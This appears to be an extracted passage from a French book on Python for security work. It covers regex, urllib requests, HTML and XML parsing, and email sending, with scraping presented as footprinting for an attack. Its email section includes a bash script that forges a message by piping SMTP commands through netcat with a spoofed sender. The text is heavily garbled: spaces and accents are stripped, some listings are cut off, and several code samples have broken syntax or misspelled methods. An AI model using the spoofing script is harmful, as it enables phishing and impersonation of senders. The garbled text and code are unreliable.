Lesparenthsescapturentchacunedesexpressionsenrendantle2eprnomoptionnelavec?,etne
vontpasretournerde2eprnom.
[+*]:trouveun+ouun*.
[\\x]:trouveun\ouunx.
[x]:trouvexou.
[]x]:trouve]oux.
[]x]:trouveuncaractrequiestni]nix.
[x] or [x]:trouveunoux.
\d:quivalent[09].
\D:quivalent[09].
\s
\S:raccourcipournonespace [\t\n\r\f\v]ou[\s].
\w:caractrealphanumrique[azAZ09_].
\W:caractrenonalphanumrique[azAZ09_].
.:toutcaractrequinestpasunsautdeligne.
[.]:unpoint.
".*":trouvenimportequoientreguillemets(" ").
:peutdbuterunechane.
$:vrifielafindelachane.\d$signifiequelachanedoitseterminerparunchiffre.\d+$signifie
:raccourcipourdesespaces[\t\n\r\f\v].
quelachanedoitcommencerparunchiffre(),enavoirunouplus(+)ettermineravecunedcimale
($).
\s+:vrifiesilyadesespacesvidesaudbutdunechane.
\s+$:vrifiesilyadesespacesvideslafindunechane.
*:nimportequelcaractre,de0linfini.
(a*):vrifie a
(anti)(gel)?:varetourneranti,antigel,maispasgel.
\b[19][09]{3}\b:donneunnombreentre1000et9999.
\b[19][09]{2,4}\b:donneunnombreentre100et99999.
rptunnombredefoisentre0etinfini.
(vasortir chaton ou achat ).
- 5-
- 6-
LeWeb
1.Introduction
La prisedempreinte ,cestdirelarecherchedinformationssurunepersonne,uneentitouuneentreprise,
estllmentprimordialpouruneattaquerussie.Cestlapartiedutravailquivaprendreleplusdetemps.
Ilfautconnatreparfaitementsacible.Pourcela,desoutilsetdessiteswebsontdisponiblestelsqueMaltego,
123people,lesrseauxsociauxetautres.
Mais il arrive, et plus souvent que lon ne peut limaginer, que ces outils soient trop gnriques et ne
correspondent pas au besoin ou que le flot dinformations reu soit trop volumineux pour pouvoir tre trait
rapidement.
Ildevientalorsncessairedecrerdesoutils.Pourlarecherchedinformationssurunsiteweb,nousallierons
lutilisation des bibliothques pour le web telles que urllib, urllib2 et celle des expressions rgulires vues
prcdemment.
2.Rcuprationdunepagesource
Lalibrairieutiliseseraurllib2.
Deuxmthodesvontnoustreutilesici:Request()eturlopen().
chap1_exo25.py
#!/usr/bin/env python
# * coding: UTF8 *
import sys, urllib2
req=urllib2.Request(sys.argv[1])
fd=urllib2.urlopen(req)
while 1:
data=fd.read(1024)
if not len(data):
break
print data
RsultatsurlapagedeENI
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo25.py http://www.eni.fr
<html>
<head>
<title>ENI groupe, professionnel de linformatique,
éditeurs, développement, formation, conseil</title>
<meta name="description" content="ENI GROUPE, des professionnels
de la formation informatique, spécialiste en e-learning,
éditeurs de livre, développement, ingénierie,
conseil, Microsoft, formation métiers">
<meta NAME="KEYWORDS" CONTENTS="formation informatique,
bureautique, réseaux, Formation professionelle, graphisme,
pao, analyste-programmeur, MCPSE, IFPA, éditions, commerce,
nantes, ouest, aquitaine, bordeaux, livres, nouveautés,
scolaire, humaines, autoformation, librairie, ressources humaines,
formation, france, e-training, éditeurs, microsoft,
macromedia, adobe, lotus, redhat, mandrake, expertise
- 1-
...
<noscript>
<img width="1" height="1" alt=""
src="http://logi150.xiti.com/hit.xiti?s=343923&s2=&p=&di=&" >
</noscript>
</body>
</html>
Unepartieseulementdelapagercupreestafficheici.
Ce premier script nest pas trs compliqu : nous faisons appel la mthode Request() de la bibliothque
urllib2enluipassantcommeargumentlesitewebrcuprer.
Une fois lobjetcr,nousfaisonsensuiteappellamthode urlopen()decettemmebibliothqueenlui
passantcommeargumentlobjetcrprcdemment.
Nous nous retrouvons avec un nouvel objet partir duquel nous pourrons utiliser la mthode read() pour
rcuprerlesdonnesdelapageweb.
VotreclientPythonpeutenvoyerdesdonnesausiteweb.
Pourceladeuxmthodes:GETetPOST.
3.MthodesGETetPOST
Lutilisation de lune ou lautre des mthodes est normalement indique par le paramtre method de la balise
<form>dansledocumentHTML.
Ladiffrenceprincipale,endehorsduvolumedesarguments,estlapparitiondesvariablesdanslURL(mthode
GET)ounon(mthodePOST).
a.MthodeGET
Nousauronsquelquechosedelaforme:
http://www.site.fr/cgi/cherche.cgi?mot=python+socket&max=25&source=www
Chap1_exo26.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import urllib2,sys, urllib
def addGETdata(url,data):
return url + ? + urllib.urlencode(data)
site=raw_input("donnez lURL\n")
query=raw_input(donnez la variable\n)
donnee=raw_input(donnez la donnee\n)
url=addGETdata(site,[(query,donnee)])
print "on utilise lURL" ,url
Rsultatscriptchap1_exo26.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
- 2-
./chap1_exo26.py
donnez lURL
google.fr
donnez la variable
p
donnez la donnee
Python
on utilise lURL google.fr?p=python
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
NousvoyonsdanslersultatduscriptquelURLestbienformeenGETetcelagrceladfinitionappele
addGETdata().
CettedfinitionvaconcatnerlURLdonneparlutilisateuretle ? ainsiqueladonnerecherche.
Exempleaveclarecherchedunephrase
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo26.py donnez lURL
google.fr
donnez la variable
p
donnez la donnee
la chevre de monsieur seguin
on utilise lURL google.fr?p=la+chevre+de+monsieur+seguin
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Autreexempleavecdescaractresspciaux
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo26.py
donnez lURL
google.fr
donnez la variable
p
donnez la donnee
m % $
on utilise lURL google.fr?p=%C2%B5m+%25+%24
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
b.MthodePOST
CommepourlamthodeGET,lesdonnesdoiventtreencodes.
MaislesdonnesnesontpasinclusesdanslURL.
chap1_exo27.py
#!/usr/bin/env python
import sys, urllib2, urllib
requete=sys.argv[1]
url=http://fr.search.yahoo.com/search
data=urllib.urlencode([(p,requete)])
req=urllib2.Request(url)
fd=urllib2.urlopen(req,data)
file=open("resultat.html","w")
while 1:
data=fd.read(1024)
ENI Editions - All rights reserved - chantal gournier
- 3-
if not len(data):
file.close()
break
file.write(data)
NouscronsdoncicilarequtePOST lersultatnestpasaffichlcran,maiscritdansunfichierappelici
resultat.html.
NouspouvonsbiensrouvrircefichieravecunnavigateurtelqueFirefoxetvrifierquenousavonsbienreu
lecontenudelapagequicorrespondlarponsedenotrerequte.
4.Gestiondeserreurs
a.Erreursdeconnexion:urllib2.URLError
try:
fd=urllib2.open(req)
except urllib2.URLError, e:
print erreur de connexion :,e
sys.exit(1)
Cetteexceptionestassezsimplecomprendre:sinousindiquonsuneURLerrone,uneerreurestgnre
par le serveur que le try_except intercepte. Nous pouvons donc grer cette erreur dans lexcept grce
URLError.
b.Erreur404
Lerreur404peutaussitredtecteetgreavecurllib2.HTTPError:
try:
fd=urllib2.urlopen(req)
except urllib2.HTTPError,e:
print Une erreur est survenue :
print e.read
sys.exit(1)
Une erreur HTTP 404 est un code derreur dans le protocole HTTP. Grce HTTPError, nous pouvons
lintercepter entre autres. Nous pouvons avoir la liste des erreurs dans la RFC 2616
(www.faqs.org/rfcs/rfc2616.html).
5.Authentification
Certainssiteswebncessitentuneauthentificationafindyavoiraccs.
Lauthentificationlapluscommuneestcelledanslaquelleleclienttransmetunidentifiantetunmotdepasse.
Cela apparat souvent comme un popup (une fentre qui souvre avec juste deux lignes pour insrer un
identifiantetmotdepasse).
chap1_exo28.py
#!/usr/bin/env python
- 4-
Rsultatduscriptsurunsiteavecauthentification
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo28.py http://secret.eni.net
un identifiant est requis pour Private sur http://secret.eni.net
Identifiant : eni
Mot de passe:
un identifiant est requis pour Private sur http://secret.eni.net/login?
back_url=http%3A%2F%2Fredmine.acissi.net%2F
Identifiant : eni
Mot de passe:
Essai http://secret.eni.net/login?back_url=http%3A%2F
%2Fredmine.acissi.net%2F
status = 200
content-length = 3776
x-powered-by = Phusion Passenger (mod_rails/mod_rack) 2.2.11
set-cookie =
_redmine_session=BAh7BzoQX2NzcmZfdG9rZW4iMU1rT0pwTFFmSGUwRXFyY1dma
1k3bUF2YlhTeFNBNEZQZGpIWGlSTUl5dEU9Og9zZXNzaW9uX2lkIiUzYzRkYWI0ZGZ
lYWIzZTU3NzRjODc3NTg4Y2MyYTU5ZA%3D%3D-b4fc263460a189c1f15e804e56dc061c60785237; path=/; HttpOnly
vary = Accept-Encoding
connection = close
server = Apache/2.2.16
x-runtime = 11
etag = "4369bda81a37c7e86d88579b5b177b8e"
cache-control = private, max-age=0, must-revalidate
date = Tue, 20 Dec 2011 12:47:24 GMT
content-type = text/html; charset=utf-8
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Nousretrouvonscidessuslesdeuxpossibilits,unmotdepasseerronetlesbonsidentifiantetmotdepasse.
Noustrouvonsplusieursnouveautsdanscescript.
NousdfinissonsuneclasseTerminalPasswordquitendlaclasseurllib2.HTTPPasswordMgr.
Cetteextensionautoriseleprogrammedemanderlutilisateursonidentifiantetmotdepassequandcelaest
ncessaire.
- 5-
Nous avons ensuite build_opener() qui autorise ajouter des enttes , handlers qui peuvent tre
optionnels.HTTPBasicAuthHandlerestajoutlachanedesenttes.
- 6-
AnalyserlespagesHTMLetXHTML
1.Introduction
Parfois,ilestassezdifficiledeconstruiresonexpressionrgulireafindefiltrerladonnesouhaite.
PythonpossdeunmodulenommHTMLParserquivanouspermettredeparserplusfacilementnospagesweb.
2.Premireapproche
NousallonspartirdundocumentHTMLsimplequenousallonscrirenousmme.
Documentdedpart :chap1_HTML.html
<HTML>
<HEAD>
<TITLE> Titre du Document </TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>
Nousallonsvoircommentrcuprerjusteletitredecedocument.
chap1_exo29.py
#!/usr/bin/env python
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def gettitle(self):
return self.title
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()
- 1-
Rsultatduscriptchap1_exo29.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo29.py chap1_HTML.html
Le titre est :
Titre du Document
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Notrescriptrcuprelapageanalyserenargument.NousappelonsensuitelaclasseTitleParser().
La mthode
feed()
handle_data().
handle_starttag(), handle_endtag()
et
Lamthodehandle_data()vasimplementvrifiersinousrecevonsoupasunedonnedellmentTITLEet,
sioui,lesauvedanstitle.
Nouspouvonssuivantlemmeprincipeextraireletextedunebaliseouvranteoufermantedenimportequeltag
dudocument.
PrenonscommeexemplelabaliseBODY.
Scriptprcdentmodifi :chap1_exo29b.py
#!/usr/bin/env python
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.body=""
self.readingbody=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==body:
self.readingbody=1
def handle_data(self,data):
if self.readingbody:
self.body += data
def handle_endtag(self,tag):
if tag=="body":
self.readingbody=0
def getbody(self):
return self.body
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le BODY est : ",tp.getbody()
RsultatavecBODY
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo29b.py chap1_HTML.html
Le BODY est :
Voici le corps du texte
- 2-
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
3.Travailsurdespages relles
a.Ampersand
Leproblmedespagesrellesestquenousallonsytrouvercequelonappelledesampersands,cestdire
descaractrescodsamp;.Parexemple,le&seracod&.
Nousdevronsdoncconvertircesampersandsencaractresimprimables.
ReprenonsnotrefichierHTMLchap1_HTML.htmlpouryinclureundecesampersands.
chap1_HTML2.html
<HTML>
<HEAD>
<TITLE> Titre du Document & Introduction</TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>
chap1_exo30.py
#!/usr/bin/env python
from htmlentitydefs import entitydefs
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def handle_entityref(self,name):
if entitydefs.has_key(name):
self.handle_data(entitydefs[name])
else:
self.handle_data(&+name+;)
def gettitle(self):
return self.title
fd=open(sys.argv[1])
ENI Editions - All rights reserved - chantal gournier
- 3-
tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()
Lersultatdecescriptdonne :
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo30.py chap1_HTML2.html
Le titre est :
Titre du Document & Introduction
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
b.Caractresspciaux
ReprenonsnotrepageHTMLpouryinclureuncaractrespcial :
chap1_HTML3.html
<HTML>
<HEAD>
<TITLE> Titre du Document & Introduction ®</TITLE>
</HEAD>
<BODY>
Voici le corps du texte
</BODY>
</HTML>
chap1_exo31.py
#!/usr/bin/env python
from htmlentitydefs import entitydefs
from HTMLParser import HTMLParser
import sys
class TitleParser(HTMLParser):
def __init__(self):
self.title=""
self.readingtitle=0
HTMLParser.__init__(self)
def handle_starttag(self,tag,attrs):
if tag==title:
self.readingtitle=1
def handle_data(self,data):
if self.readingtitle:
self.title += data
def handle_endtag(self,tag):
if tag=="title":
self.readingtitle=0
def handle_entityref(self,name):
if entitydefs.has_key(name):
self.handle_data(entitydefs[name])
else:
self.handle_data(&+name+;)
def handle_charref(self,name):
try:
- 4-
charnum=int(name)
except ValueError:
return
if charnum < 1 or charnum > 255:
return
self.handle_data(chr(charnum))
def gettitle(self):
return self.title
fd=open(sys.argv[1])
tp=TitleParser()
tp.feed(fd.read())
print "Le titre est : ",tp.gettitle()
Rsultatduscript
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo31.py chap1_HTML3.html
Le titre est :
Titre du Document & Introduction
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
handle_charref(),
Untestestfaitsurlavaleurdumotreusiceluiciestuncaractrespcial.
4.BeautifulSoup
a.Introduction
Il est parfois utile daller lire des informations sur une page Internet. Par exemple, le site
http://checkip.dyndns.orgaffichetoujourslemmemessagevousindiquantvotreadresseIP.
Ilpeuttreintressantdercuprerjustecetteadresse,cequisefaitsimplementdanscecasprcis,puisquil
nesagitquedetexte.
Parcontre,quandnousvoulonsextrairedesinformationssurunsitecontenantungrandnombredebalises,
celapeutservlerpluscomplexe.Ilexistepourcelaunoutiltrsutile,BeautifulSoup,pourparservosfichiers
HTML.
Import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()
soupe=BeautifulSoup(pageweb)
print "Affichage de la balise TITLE"
print soupe.html.head.title
print "Affichage du titre uniquement"
print soupe.html.head.title.string
VoiciunaperudecequepeutfaireBeautifulSoupcouplurllib.Cettedernirevanouspermettredelireun
fichier situ une URL exactement de la mme manire que si nous faisions un open() sur un fichier local.
Ceciesttrspratique.
BeautifulSoup sinitialise grce la fonction du mme nom, laquelle nous passons notre page web en
paramtre.Lafonctionvarecrerunarbrehirarchiquepartirdelapageweb.
- 5-
b.Rcuprerlesliens
BeautifulSoup peut tre utilis et il lest dans les outils statistiques du web. En effet, il rend trs simple la
rcuprationdetousleslienscontenusdanslapage.
VoiciunemthodeavecBeautifulSoup :
import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()
soupe=BeautifulSoup(pageweb)
print "\n\naffichage de tous les liens de la page"
print soupe(a)
print "\n\naffichage du premier lien trouve"
print soupe(a)[0]
print "\n\naffichage de lattribut href du premier lien trouve"
print soupe(a)[0]["href"]
print "\n\naffichage de lattribut href de tous les liens trouves"
for i in soupe(a) :
try :
print i[ href ]
except :
pass
Nousvoyonscidessuslecheminementpourcherchertouteslesoccurrencesdunebaliseetrcuprerensuite
sesattributs.
Pourrecensertouteslesbalises,nousutiliseronssoupe(BALISE_VOULUE).
Pour accder la valeur dun attribut, nous utiliserons
DOCCURRENCE][Attribut].
soupe(BALISE_
VOULUE)[NUMERO
SinousrencontronsunlienHTMLdecegenre :
<a href="http://domain.tld/index2.html><h2>Acces
INDEX2.html</h2></a>"
Pour isoler le texte, il faut crire soupe(a)[0].h2.string (avec 0 si lon considre que ce lien est la
premireoccurrencetrouve).
Nouspouvonsunpeuresserrerlescritresderechercheenspcifiantquenotrebalisedoitcomporterteloutel
critre en fournissant un second paramtre notre commande soupe(). Ce second paramtre sera un
dictionnaire.
import urllib
from BeautifulSoup import BeautifulSoup
lienweb=urllib.open("http://www.python.org/index.html")
pageweb=lienweb.read()
- 6-
soupe=BeautifulSoup(pageweb)
print "Comptons le nombre de balises td"
print len(soupe(td))
print "Maintenant comptons le nombre de balises td de classe body"
print len(soupe(td,{"class":"body"}))
Plusieursattributspeuventtrepasssenargumentsetlonpeutmmeutiliserlesexpressionsrgulires.
print soupe(td,{"class":re.compile(.*r$)})
Cidessus,nousrcupronslalistedesbalisesCOLONNE(<td>)dontlattributclassseterminepar r .
BeautifulSoupestcapabledeparsernimportequellangagebaliscommelestHTMLavecdesbalisesdetype
<TAG></TAG>pourlouvertureetlafermeture.
BienqueDOMsoitconupourcela,unfichierXMLpeuttreparsparBeautifulSoup.
- 7-
LeXML
1.Introduction
LelangageXMLestindpendantduprogramme,lisible,standardisparleW3Cetsastructureesthirarchise.
Autantdepointsfortsquifontlintrtdecelangage.
Un fichier XML est un simple fichier texte comportant lextension .xml qui permet de stocker des informations
formatessuivantcertainsbesoins.
Chaqueinformationeststockeentredeux tagsoubalisesxml.Lexempleleplusconnudelutilisation du XML
estleHTMLmaisilestgalementpossibledutiliserleXMLpourstockerdesdonnesbrutes,ilsuffitensuitede
parsercefichierpourrcuprersoncontenu.
2.ReprsentationdufichierXML
<?xml version= "1.0"?>
<Sommaire>
<!--Ceci est un exemple-->
<titre> programmation Python</titre>
<chapitre numero= "1">
<titre> Introduction</titre>
<date annee= "2012" jour="14"
mois="Janvier"/>
<img src="logo.jpg"/>
<auteur>Ebel Franck</auteur>
</chapitre>
<chapitre numero= "2">
<titre> Introduction</titre>
<date annee= "2012" jour="15"
mois="Janvier"/>
<img src="logo2.jpg"/>
<auteur>Editions ENI</auteur>
</chapitre>
</Sommaire>
Le fichier cidessus reprsente le sommaire dun livre, chaque n ud ou tag contient des donnes ou des
attributsquipeuventtremodifisselonnosbesoins.
La structure du fichier commence toujours par un tag racine suivi dautres n uds qui constituent une liste
dlmentsimbriqus.
Nous pouvons associer ces n udsdun document une arborescence de rpertoires avec un fichier racine, la
balise<sommaire>etainsidesuite.
Unergleimportante,contrairementauHTML,estquetouslestagsouvrantsdoiventtrefermsplusloindans
lefichier.
CommentfairepourchoisirXMLpluttquunfichierplatouencoreunebasededonnes ?
Il existe de nombreux comparatifs qui vous aideront dans votre choix, mais une piste est que le langage XML
permet davoir une structure clairement dfinie qui donne un avantage par rapport aux fichiers plats et aux
basesdedonnes. Sonatoutrestesafacilitdutilisation.
3.PythonetXML
- 1-
Pour manipuler les fichiers XML, nous utiliserons lAPI DOM (Document Object Model) qui, contrairement SAX
(Simple API for XML), doit gnrer un arbre et donc lire lensemble du fichier. SAX est quant lui capable de
travailler surdesfichiersdegrandetailleainsiquedetraiterlesproblmesdespaces entrebalisesdetexte.
CestlAPIlaplusadaptepourlireundocumentXMLenentieretraliserdestraitements.
Nouspouvonsparexempleconstruireunestructurerassemblantlesdonnesdudocument.Parcontre,silsagit
demodifierunestructureXMLexistante,SAXnestpastrsperformant.
Pourcegenredetche,DOMestprfrable.
Ladiffrenceentrecesparsersest :
SAX : lie les fonctions des vnements. Lorsque lvnement se produit (action douverture ou de
fermeturedunebalise),lafonctionenquestionestappele.
DOM :chargeenmmoirelefichieretretourneunestructureXML.Ensuite,nouspouvonsnousbalader
entre les n uds (monter, descendre...). Les actions ralises peuvent tre complexes si nous les
comparonsSAX,maisDOMestbeaucoupplusgourmandentermesderessources.
Grce cette API, nous allons pouvoir lire un fichier XML mais galement ajouter de nouveaux lments ce
fichier.IlfautsavoirquavecDOM,toutestunlmentouunn ud.Silonreprendlexempleprcdent,letag
<titre>detypelmentcontient introduction detypetexte.
Un des inconvnients principaux de cette API est quelle est peu adapte pour de gros documents. Larbre
gnrenmmoirepartirdufichierXMLestenviron 16foisplusgrosquelefichier.
NousallonscrerunpetitscriptpourgnrerlefichierXML.Ilestimportantdebienconnatrelastructuredun
fichierXMLetlanotiondeparents/enfantsentrelesn udsdufichier.
Enaucuncaslesbalisesnedoiventserecouvrir,leXMLimposeunehirarchiestricte.
NousdevonsveillerdabordcequelalibrairiePythonxmlsoitinstallesurnotresystme.
#!/usr/bin/env python
#coding:utf-8
from xml.dom.minidom import Document
document=Documents()
racine=document.createElement("racine")
document.appendChild(racine)
child=document.createElement("child")
child.setAttribute("id","10")
racine.appendChild(child)
print document.toxml()
Rsultat
<?xml version="1.0"?>
<racine>
<child id=10/>
</racine>
Undocumentadmetuneracineunique,<racine>,quiestledpartdetoutdocumentXML.
Lorsdelacrationdun udfils,lappellamthode appendChild()sefaitsurlobjetracineafinqueletag
filsdeviennelen udfilsderacine.
- 2-
#!/usr/bin/env python
#coding:utf-8
from xml.dom.minidom import Document
import xml.dom.ext
doc=Document()
noeud_racine=doc.createElement("Sommaire")
doc.appendChild(noeud_racine)
comment=doc.createComment("Ceci est un exemple")
noeud_racine.appendChild(comment)
titre=doc.createElement("titre")
noeud_racine.appendChild(titre)
contenu=doc.createTextNode("Programmation Python")
titre.appendChild(contenu)
element=doc.createElement("chapitre")
element.setAttribute("numero","1")
noeud_racine.appendChild(element)
titre=doc.createElement("titre")
element.appendChild(titre)
contenu=doc.createTexteNode("Introduction")
titre.appendChild(contenu)
date=doc.createElement("date")
date.setAttrbute("jour","14")
date.setAttribute("mois","Janvier")
date.setAttribute(annee","2012")
element.appendChild(date)
img=doc.createElement("img")
img.setAttribute("src","logo1.jpg")
element.appendChild(img)
auteur=doc.createElement("auteur")
element.appendChild(auteur)
contenu=doc.createTextNode("Ebel Franck")
auteur.appandChild(contenu)
element=doc.createElement("chapitre")
element.setAttribute("numero","2")
noeud_racine.appendChild(element)
titre=doc.createElement("titre")
element.appendChild(titre)
contenu=doc.createTexteNode("Introduction")
titre.appendChild(contenu)
date=doc.createElement("date")
date.setAttrbute("jour","15")
date.setAttribute("mois","Janvier")
date.setAttribute(annee","2012")
element.appendChild(date)
img=doc.createElement("img")
img.setAttribute("src","logo2.jpg")
element.appendChild(img)
auteur=doc.createElement("auteur")
element.appendChild(auteur)
contenu=doc.createTextNode("Editions ENI")
auteur.appandChild(contenu)
def output_xml(doc,dir_xml) :
file=open(dir_xml,"w")
xml.dom.ext.PrettyPrint(doc,file)
output_xml(doc, "mon_premier_document.xml")
Nousfaisonsappellamthode createElement()pourdclareruntagxmldanslarbreXML,ensuitenous
devonspasserlamthodeappendChild()quisoccupedecrerlen uddelarbre.
Enralitcettemthodeajouteunn udenfantceluiprcdemmentcr.
Lors de cet appel doc.appendChild(noeud_racine) le premier n ud que lon alloue dans larbre est
toutsimplementunenfantdelaracinedudocument, crendbutdeprogramme.
- 3-
EnsuiteonappellesuccessivementcettemthodepourconstruirelarborescencedelarbreXML.
Output_xml est une fonction qui prend en paramtre le nom de lobjet de type document et le lien o lon
stockeralefichierXMLensortie.Nouspouvonsgalementafficherlersultatsanspasserparcettefonction,en
utilisantdoc.toxml().
SilastructureXMLapportelisibilitetrobustesse,leproblmedaccslinformation demeure.
LAPIDOMfournitdesmthodespourparserunfichieretrcuprerfacilementlesinformationscontenuesdans
lesbalises.IlexisteunemthodetrsutileintitulegetElementByTagName("auteur")quirenvoielaliste
detousleslmentscontenusdanslesbalises<auteur></auteur>.
Dautresattributsdobjetssavrentutilespourlalecturedenosarbres.
4.LireunfluxRSS
LemoduleminidompermetgalementdextrairedemanireassezintuitivedesinformationsdundocumentXML.
VoiciparexemplecommentseservirduformatRDF.
Import urllib
from xml.dom import minidom
def getTextFromNode(node) :
"""extrait le texte dune balise (nud)"""
return "".join([n.nodeValue for n in node.ChildNodes if
n.nodeType == n.TEXT_NODE])
doc=minidom.parse(urllib.urlopen("http://python.org/
channews.rdf")
)
print "<hl>Python news</h1>"
print "<ol>"
for item in doc.getElementsByTagName("item")[:3] :
print <li>\n <a herf="%s">%s</a>\n </li>%
(getTextFromNode(item.getElementsByTagName("link")
[0]),getTextFromNode(item.getElementsByTagName("title")[0]))
print "</ol>"
- 4-
Lesemails
1.Introduction
Lesemailssontmaintenantmonnaiecourante.Toutpassepareux.
Ilestpossibledelesfalsifierassezfacilementdslorsquelonconnatleurfonctionnement.
Commenonsdoncparforgerunemailenutilisantlutilitairenetcat :
Exemple1 :emailforggrcenetcat
Nouspouvonsdoncaismentforgerunmaillamain,lexemplecidessusnousledmontre,maisbiensrds
rceptionnouspourronsvoirquecemailnestpascompletetdoncdtecterlamalfaon.
Exemple2
#!/bin/bash
if [[ $# != 2 ]]; then
echo "usage: ./mail.sh mail_source mail_destination"
exit
fi
{
echo "helo smtp.univ-valenciennes.fr";
echo "MAIL FROM:$1";
echo "RCPT TO: $2";
echo "data";
echo "Message-ID: <4CDE66FB.5080406@univ-valenciennes.fr>";
echo "Date: Thu, 27 Oct 2011 11:22:51 +0100";
echo "From: $1";
echo "User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6";
echo "MIME-Version: 1.0";
echo "To: $2";
echo "Subject:test eni";
echo "Content-Type: text/plain; charset=ISO-8859-1";
echo "Content-Transfer-Encoding: 7bit";
echo "Bonjour eni";
echo "Test de mail";
echo "Deuxieme lmigne";
echo "cordialement";
echo " ";
echo " ";
- 1-
echo ".";
echo " ";
echo "QUIT";
}| nc -vv adresse_votre_serveur_mail 25
Danscetexemplenousavonsforgunmailenremplissantlemaximumdinformationstellesquelesujet,ladate,
leMessageID.
Ce dernier mail ressemblera maintenant vraiment un vrai mail , seul votre bon sens vous permettra de
confirmersonauthenticit.
Nousvoyonsquececiestfacilementralisableenscriptbash,maiscommentraliserlammechoseenPython
etcommentyadjoindreensuiteunepicejointe ?
2.Labibliothquesmtplib
Nousallonsutiliserlabibliothquesmtplib.Lesinformationsminimalesdontnousavonsbesoinsont:ladresse
denvoi,ladressededestination,lecorpsdumessageetleserveurSMTP.
Nouspourronsensuiteajouterlesujet,ladateparexemple.
a.Lecorpsdutexte
chap1_exo32.py
#!/usr/bin/env python
import sys, smtplib
fromaddr = raw_input("From: ")
toaddrs = string.splitfields(raw_input("To: "), ,)
print "Entrez le message :"
msg =
while 1:
line = sys.stdin.readline()
if not line:
break
msg = msg + line
server = smtplib.SMTP(localhost)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
localhostserabienvidemmentremplacparladressedenotreserveurdemail.
PourindiquerleserveurSMTP,ilnousfaudrautilisersmtplib.SMTP.
Lenvoidemailseferagrcesendmail(from,to,msg).
Nousauronsdaupralablerenseignerfrom,toetmsg.
Linconvnientaveclescriptprcdentestquelesujetestvide.
Nouspourronsaussirenseignerladateetlheure(quenouspourronsantidateroupostdater).
chap1_exo33.py
# !/usr/bin/env python
import smtplib
from email.MIMEText import MIMEText
- 2-
Nous dterminons dans ce script la variable mail comme tant de type MIMEText, nous pouvons donc
maintenantremplirtousleschampsncessairestelsqueFrom,To,Subject,etc.afindessayerdobtenirunmail
leplusconformepossible.
Comme nous lavons vu prcdemment, chaque mail a un identifiant. Nous le crons ici grce la fonction
Utils.make_msgid().
Leresteduscriptadjtvudanslesscriptsprcdents.
b.Mailavecpicejointe
NousauronsbesoindecrerdutexteetlecorpsdumailavecMIMEText,puisdegrerlimageavecMIMEImage
etenfinderassemblerlensemblegrceMIMEMultipart.
chap1_exo34.py
#!/usr/bin/env python
# -*- coding: utf-8 -*# la lib smtp qui nous permet de dialoguer avec un serveur de mail
import smtplib
# un e-mail multipart (contient des pieces jointes)
from email.MIMEMultipart import MIMEMultipart
# un message e-mail de type texte
from email.MIMEText import MIMEText
# un message e-mail de type image
from email.MIMEImage import MIMEImage
import mimetypes, posixpath
def image_a_mail(cheminfichier):
renvoie un message de type MIMEImage a partir dun
fichier
# on utilise posixpath pour avoir le nom du fichier
nomfichier = posixpath.basename( cheminfichier )
# puis pour obtenir lextension du fichier
extension = posixpath.splitext( nomfichier )
# puis mimetypes pour avoir le content-type de lextension
content_type = mimetypes.types_map[ extension[1] ]
# on ouvre le fichier image en mobe binaire
fichier = open(cheminfichier, rb)
# un objet message avec le contenu du fichier
- 3-
Nous avons ici inclus une image JPG. Nous devrons bien sr, pour que ce script fonctionne, remplacer les
lmentsengraspardevraisparamtres.
MIMEMultipart()permetdecrerunmailaveclecorpsdutexte,maisaussilapicejointe.
Nousutiliseronslafonction open()aveccommeargumentsrb,afindedfinirlemodebinairepourletransfert
delapicejointe.
Lescriptestlargementcommentafindebienexpliquerchaquepartiedelenvoi dunmailavecpicejointe.
3.Analyserdesemails
Nousauronspeuttrebesoindextrairedesinformationsparticuliresdunoudeplusieursemails.
Lemoduleemailatcrceteffet.
Nouspourronsfacilementaccderauxheadersetaucorpsdumessage.
chap1_exo35.py
#!/usr/bin/env python
# --*-- coding:UTF_8 --*-import sys, email
msg=email.message_from_file(sys.stdin)
print " *** Headers du message : "
